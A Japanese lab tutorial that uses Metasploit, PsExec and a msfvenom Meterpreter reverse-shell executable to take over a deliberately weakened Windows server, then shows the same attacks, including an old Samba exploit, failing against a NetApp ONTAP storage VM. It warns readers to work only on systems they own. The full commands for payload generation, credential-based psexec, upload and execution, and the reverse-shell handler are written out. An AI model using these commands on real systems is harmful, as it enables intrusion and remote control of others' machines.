ONTAPは一般的なOSのようなリモートコード実行はできない事の確認【Metasploitを使って確認】

## はじめに

セキュリティに関するニュース等で、「OSやアプリケーションの脆弱性からリモートで任意のコードが実行される危険性がある」といった内容を見たり聞いたりしたことがあるかと思いますが、普段セキュリティに関する業務に従事していない限り、リモートデスクトップを使ったりSSH接続以外の操作を具体的にイメージすることは難しいと思います。

この記事では、故意に安全性を低下させた**Windowsサーバに対しMetasploit FrameworkからPsEcexを使うことでリモートからのコード実行のイメージを掴む**と共に**ONTAPのSVMにログインして直接実行ファイルをUploadしたりは実行できないという点を確認**することで、独自OSであることによるONTAPの堅牢性を確認頂ければと思います。
設定は主にCLIを用いて行います。

:::note alert
**他者が管理している機器に対し記事の内容を行うことは不正アクセスとなる為、自ら管理・構築した環境でのみ実施して下さい。**
:::


## 何をしたい？できる？
- **リモートでコードを実行するという事についてイメージを掴む**
- **CIFSサービス提供用SVMへMetasploitを使用しリモート接続できない事を確認**
- **SVM上ではコマンド実行(exeファイルの実行)できない事の確認**

## Metasploit Framework(MSF)とは
Metasploit Framework(MSF)とはExploitコードの作成や実行を行うためのフレームワークで、Exploitを成立させる各種要素を選択肢から選び組み合わせて実行することができます。
端的に言うと、脆弱性を確認し実行する為のツールであると考えて頂くと良いのではないかと思います。

- どの脆弱性を用いるか
- 攻撃成功時にどのようなペイロードを適用するか
- ペイロードが侵入防止システムに検出されるのを妨害するためにどのようなエンコード技術を用いるか
- ペイロードによってリモートシェルやVNCサーバーなどをどのPort番号で起動するか

|![001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/62c6fe60-a4a0-8e7b-447d-baf112dced9c.png)
|:-:|

### Metasploit Framework(MSF)のモジュールについて

#### Auxiliary
スキャンや脆弱性調査ツール、DoS機能といった**補助的なモジュール**で、バナー情報取得などの各種調査ツールやDoS 攻撃、ファジングなどのペイロードを必要としないモジュールとなります。
システムへの不正アクセスにつながる一連の攻撃において非常に重要な役割を果たします。

#### Exploit
システムへの不正アクセスにつながる一連の攻撃において非常に重要な役割を果たしますが、OS毎に分類されているので、Windows用をLinux用に利用はできません。
攻撃者にとって有益なものを返す、または特定のアクションを実行するために、**指定されたペイロードと共に使用する**必要があります。
show exploitsコマンドで全Exploit Moduleを一覧が表示可能となっており、Exploitによってはターゲットに直接行うアクティブなものと、MSF側が接続を待ち受けるパッシブな攻撃があります。

#### ペイロード

**Exploit成功後に実行するスクリプト**(rootkit)で、コマンドシェルを起動するものやVNC でのリモートGUI 操作を可能とするもの、Meterpreter という高機能なシェルを起動するものがあります。
Metasploit から攻撃対象に対し接続を確立するもの（bind_tcp）と攻撃対象からMetasploit 側にリバース接続するもの（reverse_tcp）があり、show payloadsコマンドで全ペイロードModuleを一覧が表示可能となってます。

##### Meterpreter について
msf内で利用可能なペイロードで、高機能なRootkitです。
メモリ上に展開され、通信は暗号化されます。(メモリ上で実施されるので、Diskやファイルに書く必要性は無い)
通信方向としてBind_shllとreverce_shellが利用可能ですが、大抵の場合FWがあるので、reverse shellを使うとoutbound許可されている通信を利用できる可能性が高くなります。
また、Meterpreter用のコマンドが用意されています。

![005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/fdefd8e9-17d4-397c-0024-7090dc09fd7a.png)
|:-:|

## PsExecとは
本記事では、**Port445に向かってバックドアを仕込んだShellコード実行という脆弱性の代用としてPsExecを利用**して動作の確認を実施します。

PsExecはWindowsシステムやアプリケーションの管理、トラブルシューティングなどで役立つ無償ツールをまとめた「Windows Sysinternals」に含まれているツールで、いわゆるSSHでリモート操作するように、**遠隔のWindows端末へコマンドラインやプログラム実行できるようになります。**
リモート・コンピュータ側で以下のPortが空いている必要があります。

- 135/tcp（RPCエンドポイント・マッパー）
- 445/tcp（ダイレクト・ホスティングSMB）
- 1025～65535/tcp（RPC動的ポート）

また、PsExecを使うには、リモート・コンピュータの管理者権限が必要になります。


## Windows端末へリモート接続＋exeファイルの実行手順
手順例では、**まず通常のWindows Serverに対してリモートアクセスを試してみます。**
**前提としてCIFSアクセスの為の管理アカウントは既に知られている状態とします。**
(サービス調査やアカウント取得方法を目的として記事では無い為、事前調査等は割愛してます)

環境概要は以下の通りです。
<img width="500" alt="qiita-square" src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/2974ad53-d384-4802-2888-29388df77c9a.png>

#### 1. Windows端末へのリアルタイム保護停止
Windows端末へリモートアクセスできるように、Windowsセキュリティのリアルタイム保護は無効にしておきます。
<img width="500" alt="qiita-square" src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/f5bf8fcb-0fd7-a319-8c5e-a28038e2514c.png>

#### 2. Windows端末へのPortScan
まずはKali Linuxから対象のWindows ServerでCIFSアクセス(SMBアクセス)がなされているかPortScanで確認します。
PortScanについては、こちらの[記事](https://qiita.com/s_yosh1d/items/81cfa362255af296b88b)を参考にした頂ければと思います。

**PortScanによる確認**
リモートデスクトップはTCPの3389番ポートは空いておらず
空いているPortから135と445が空いている事やVersionを含めて確認できるかと思います。
```bash:
> sudo nmap -sS -sV -nvv -O 172.16.10.142
　　　　　　　　　　　　　　　　　　　　(中略)
PORT     STATE SERVICE       REASON          VERSION
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 128 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2022-12-06 08:15:02Z)
135/tcp  open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: ps-sc.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 128
464/tcp  open  kpasswd5?     syn-ack ttl 128
593/tcp  open  ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 128
3268/tcp open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: ps-sc.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 128
5357/tcp open  http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:15:5D:D6:5E:1F (Microsoft)
```

#### 3. exeファイルの作成
ランサムウエアやマルウエアの代わりとしてWindow端末からKali Linuxの方向でリモート接続を実施するexeファイルを作成します。
```bash:
> msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.148 -f exe -o /home/user01/work/test.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /home/user01/work/test.ex
```


#### 4. Metasploit Framework(MSF)からPsExecの実行
Kali LinuxからMetasploit Framework(MSF)を起動します。
```bash:
> msfconsole
```

実際にはOSやアプリケーションの脆弱性を利用しての接続となりますが
この例ではPsExecを指定して、接続先やアカウント、ペイロードの指定といったOption指定を実施します。
ペイロード以外は接続先のWindows端末のIPやDomainアカウント、ドメインを指定しています。

```bash:
> use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

exploit(windows/smb/psexec) > set RHOST 172.16.10.142
RHOST => 172.16.10.142

exploit(windows/smb/psexec) > set smbuser XXXXX #User名を指定
smbuser => XXXXX

exploit(windows/smb/psexec) > set smbpass XXXXX #Passwordを指定
smbpass => XXXXX

exploit(windows/smb/psexec) > set SMBDomain ps-sc
SMBDomain => ps-sc
```


設定内容を実行します。(場合によっては何度か実行)
**成功するとプロンプトがmeterpreterと表示されます。**
この状態ではWindowsサーバのシステム情報の確認等が可能となってます。
```bash:
exploit(windows/smb/psexec) > exploit

[*] 172.16.10.142:445 - Connecting to the server...
[*] 172.16.10.142:445 - Authenticating to 172.16.10.142:445|ps-sc as user 'XXX'...
[*] 172.16.10.142:445 - Selecting PowerShell target
[*] 172.16.10.142:445 - Executing the payload...
[+] 172.16.10.142:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 172.16.10.142:4444
[*] Sending stage (175686 bytes) to 172.16.10.142
[*] Meterpreter session 1 opened (172.16.10.148:35093 -> 172.16.10.142:4444) at 2022-12-06 17:21:52 +0900
meterpreter >

meterpreter > sysinfo
Computer        : SC-AD-DC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : ja_JP
Domain          : PS-SC
Logged On Users : 8
Meterpreter     : x86/windows
```


#### 4. meterpreter からexeファイルのUpload
kali Linux上で作成したexeファイルをUploadします。
(本来はログ削除やパスワードハッシュの取得も実施するかと思いますが、ここではファイルのUploadと実行のみを実施)
```bash:
meterpreter > cd ../../temp
meterpreter > pwd
C:\temp
meterpreter > upload /home/user01/work/test.exe

[*] uploading  : /home/user01/work/test.exe -> test.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/user01/work/test.exe -> test.exe
[*] uploaded   : /home/user01/work/test.exe -> test.exe

meterpreter > ls
Listing: C:\temp
================
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100777/rwxrwxrwx  73802  fil   2022-12-06 17:28:56 +0900  test.exe

```

Windows上でもUploadされているのが確認できます。
(コンソールで確認しています)
<img width="500" alt="qiita-square" src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/425d1db3-36fc-66e3-f70d-3b9cd27637dd.png>


#### 5. コマンドプロンプト上でexeファイルの実行
kali Linux側からUploadしたexeファイルを実行します。
実際には、偽造したファイルをクリックさせたり、グループポリシを使用してランサムウェア一斉配信やログオンスクリプトを利用したランサムウェアの自動実行といった形を取るような場合があります。
```bash:
meterpreter > shell
Process 5924 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\temp>test.exe
test.exe
```


#### 6. exeファイルの接続先にセッションが張られる事の確認
事前に別に立ち上げておいたmsfconsoleを使って接続確認ができます。
(別の新しいSSH接続でkali linuxに接続し確認)


<img width="500" alt="qiita-square" src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1268577/332f01c4-600e-f4bc-7f04-71d30567dc9a.png>

```bash:
 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

exploit(multi/handler) > set LHOST 172.16.10.148
LHOST => 172.16.10.148

exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.10.148:4444
[*] Sending stage (175686 bytes) to 172.16.10.142
[*] Meterpreter session 1 opened (172.16.10.148:4444 -> 172.16.10.142:62751) at 2022-12-06 17:47:52 +0900

#exe実行後に以下のプロンプトが表示されるようになり、遠隔操作が可能になります。
meterpreter >
meterpreter > sysinfo
Computer        : SC-AD-DC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : ja_JP
Domain          : PS-SC
Logged On Users : 8
Meterpreter     : x86/windows
```


## SVMへリモート接続ができるか確認手順
手順例では、**まず通常のSVMに対してリモートアクセスを試してみます。**
**前提としてCIFSアクセスの為の管理アカウントは既に知られている状態とします。**
(サービス調査やアカウント取得方法を目的として記事では無い為、事前調査等は割愛してます)
また、ウイルス対策等の機能もSVM上では利用していない環境となります。


#### 1. SVMのCIFS用LIFへのPortScan
まずはKali Linuxから対象のSVMでCIFSアクセス(SMBアクセス)がなされているかPortScanで確認します。

**PortScanによる確認**
空いているPortから135と445が空いている事が確認できるかと思います。
```bash:
 >sudo nmap -sS -sV -nvv -O 172.16.10.149
　　　　　　　　　　　　　　　　　　　　(中略)
PORT      STATE SERVICE       REASON         VERSION
111/tcp   open  rpcbind       syn-ack ttl 64 2-4 (RPC #100000)
135/tcp   open  msrpc?        syn-ack ttl 64
139/tcp   open  netbios-ssn?  syn-ack ttl 64
445/tcp   open  microsoft-ds? syn-ack ttl 64
2049/tcp  open  nfs           syn-ack ttl 64 3 (RPC #100003)
4045/tcp  open  nlockmgr      syn-ack ttl 64 4 (RPC #100021)
10000/tcp open  ndmp          syn-ack ttl 64 NetApp Data ONTAP ndmp (NDMPv4; Connection refused)
30000/tcp open  tcpwrapped    syn-ack ttl 64
```

#### 2. Metasploit Framework(MSF)からPsExecの実行
Kali LinuxからMetasploit Framework(MSF)を起動します。
```bash:
> msfconsole
```

起動後にPsExecを指定して、接続先やアカウント、ペイロードの指定といったOption指定を実施します。ここでは、ペイロード以外は接続先のSVMのIPやDomainアカウント、ドメインを指定しています。
```bash:
> use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

exploit(windows/smb/psexec) > set RHOST 172.16.10.149
RHOST => 172.16.10.142

exploit(windows/smb/psexec) > set smbuser XXXXX #User名を指定
smbuser => XXXXX

exploit(windows/smb/psexec) > set smbpass XXXXX #Passwordを指定
smbpass => XXXXX

exploit(windows/smb/psexec) > set SMBDomain ps-sc
SMBDomain => ps-sc
```


<font color="Red">**実行しても成功しない事が確認できます。**</font>
```bash:
msf6 exploit(windows/smb/psexec) > exploit

[*] 172.16.10.149:445 - Connecting to the server...
[*] 172.16.10.149:445 - Authenticating to 172.16.10.149:445|ps-sc as user 'XXX'...
[-] 172.16.10.149:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_BAD_NETWORK_NAME
[*] Exploit completed, but no session was created
```

#### 3. SVMのSMB Versionを確認してみる
Samba等を利用しているのであればVersionを確認して脆弱性を突く事が思い付くかと思いますが、独自実装である為、SMB Versionのみの表示である事が確認できます。
```bash:
> use auxiliary/scanner/smb/smb_version

auxiliary(scanner/smb/smb_version) > set RHISTS 172.16.10.149

[-] Unknown datastore option: RHISTS. Did you mean RHOST?
auxiliary(scanner/smb/smb_version) > set RHOSTS 172.16.10.149
RHOSTS => 172.16.10.149

auxiliary(scanner/smb/smb_version) > exploit
[*] 172.16.10.149:445     - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-GCM) (signatures:optional) (uptime:27w 0d 3h 33m 26s) (guid:{xxx}) (authentication domain:PS-SC)
[*] 172.16.10.149:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

**実際にSambaを使用しているサーバでは以下のような表示になります。**
```bash:
auxiliary(scanner/smb/smb_version) > exploit

[*] xx.xx.xx.xx:445     - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{xxx}) (authentication domain:PS-LINUX)
[*] xx.xx.xx.xx:445     -   Host could not be identified: Windows 6.1 (Samba 4.10.16) #この部分が表示される
[*] xx.xx.xx.xx:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

<font color="Red">**念のために古いSambaの脆弱性を使っても効果が無い事が確認できます。**</font>
```bash:
> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

exploit(multi/samba/usermap_script) > set RHOST 172.16.10.149
RHOST => 172.16.10.149

exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

exploit(multi/samba/usermap_script) > set LHOST 172.16.10.148
LHOST => 172.16.10.148

exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 172.16.10.148:4444
[-] 172.16.10.149:139 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.
```

#### 4. 直接ファイルの実行が可能か確認してみる
ONTAP上で用意されたコマンドは実行可能ですが、**ファイルの実行についてはファイルが見つからないというエラーでは無く、コマンド自体認識していないというエラーが表示**されます。
```bash:
> ssh vsadmin@172.16.10.147 version
(vsadmin@172.16.10.147) Password:

Last login time: 11/29/2022 09:58:33
NetApp Release 9.8P10: Fri Feb 04 19:51:21 UTC 2022



> ssh vsadmin@172.16.10.147 /vol/cifsvol100/test.exe
(vsadmin@172.16.10.147) Password:

Last login time: 12/6/2022 18:00:16

Error: "/vol/cifsvol100/test.exe" is not a recognized command
```


**SSHでログインしてDiagモードに変更しても、ファイルの実行用コマンドも用意されていない事が確認できます。**
```bash:
> ssh vsadmin@172.16.10.147
(vsadmin@172.16.10.147) Password:

cifs100::> set diag
Warning: These diagnostic commands are for use by NetApp personnel only.
Do you want to continue? {y|n}: y

cifs100::*> ?
  application>                *Display and manage applications
  cluster>                    Manage clusters
  exit                        Quit the CLI session
  history                     Show the history of commands for this CLI session
  job>                        Manage jobs and job schedules
  lun>                        Manage LUNs
  man                         Display the on-line manual pages
  network>                    Manage physical and virtual network connections
  redo                        Execute a previous command
  rows                        Show/Set the rows for this CLI session
  security>                   The security directory
  set                         Display/Set CLI session settings
  snaplock>                   Manages SnapLock attributes in the system
  snapmirror>                 Manage SnapMirror
  statistics>                 Display operational statistics
  storage-service>            *Manage Storage Services
  system>                     The system directory
  top                         Go to the top-level directory
  up                          Go up one directory
  volume>                     Manage virtual storage, including volumes, snapshots, and mirrors
  vserver>                    Manage Vservers
  vvol>                       *The vvol directory
```
## ONTAPの脆弱性と対策について
ONTAPでも全く脆弱性が無いということでは無く、パッチを充てて最新の状態に保つ事や、ログの取得、Backup(Snapshot)の取得といった内容は重要なセキュリティ対策となります。
但し、**独自OSである事でセキュリティ脆弱性が比較的少なく、頻繁なUpdateは不要**な点については、大きな利点とい言っても良いかと思います。

ONTAPで見つかっている脆弱性については、サポートサイトにある[NetApp Product SecurityのSecurity Advisories](https://security.netapp.com/advisory/)や、[脆弱性対策情報データベース](https://jvndb.jvn.jp/search/index.php?mode=_vulnerability_search_IA_VulnSearch&lang=ja&useSynonym=1&keyword=ONTAP)にあるように、保守通知に不要な情報が入っていたとか、アクセス権変更できる、DoS攻撃の可能性等はありますが、ファイルサーバ上のデータを直接取得するものや特定のアプリケーションが利用されているのでリモートでコード実行というものは無く、対応方法もパッチ適用である事が確認できるかと思います。


## 参考及びリンク
[NetApp Product Security ](https://security.netapp.com/)

[脆弱性対策情報データベース](https://jvndb.jvn.jp/)

[ONTAPのSecurity機能について1【FPolicy編】](https://qiita.com/s_yosh1d/items/52474e4614e6a786c137)

[ONTAPのSecurity機能について2【監査ログ編】](https://qiita.com/s_yosh1d/items/2da74bca854115a9c5e6)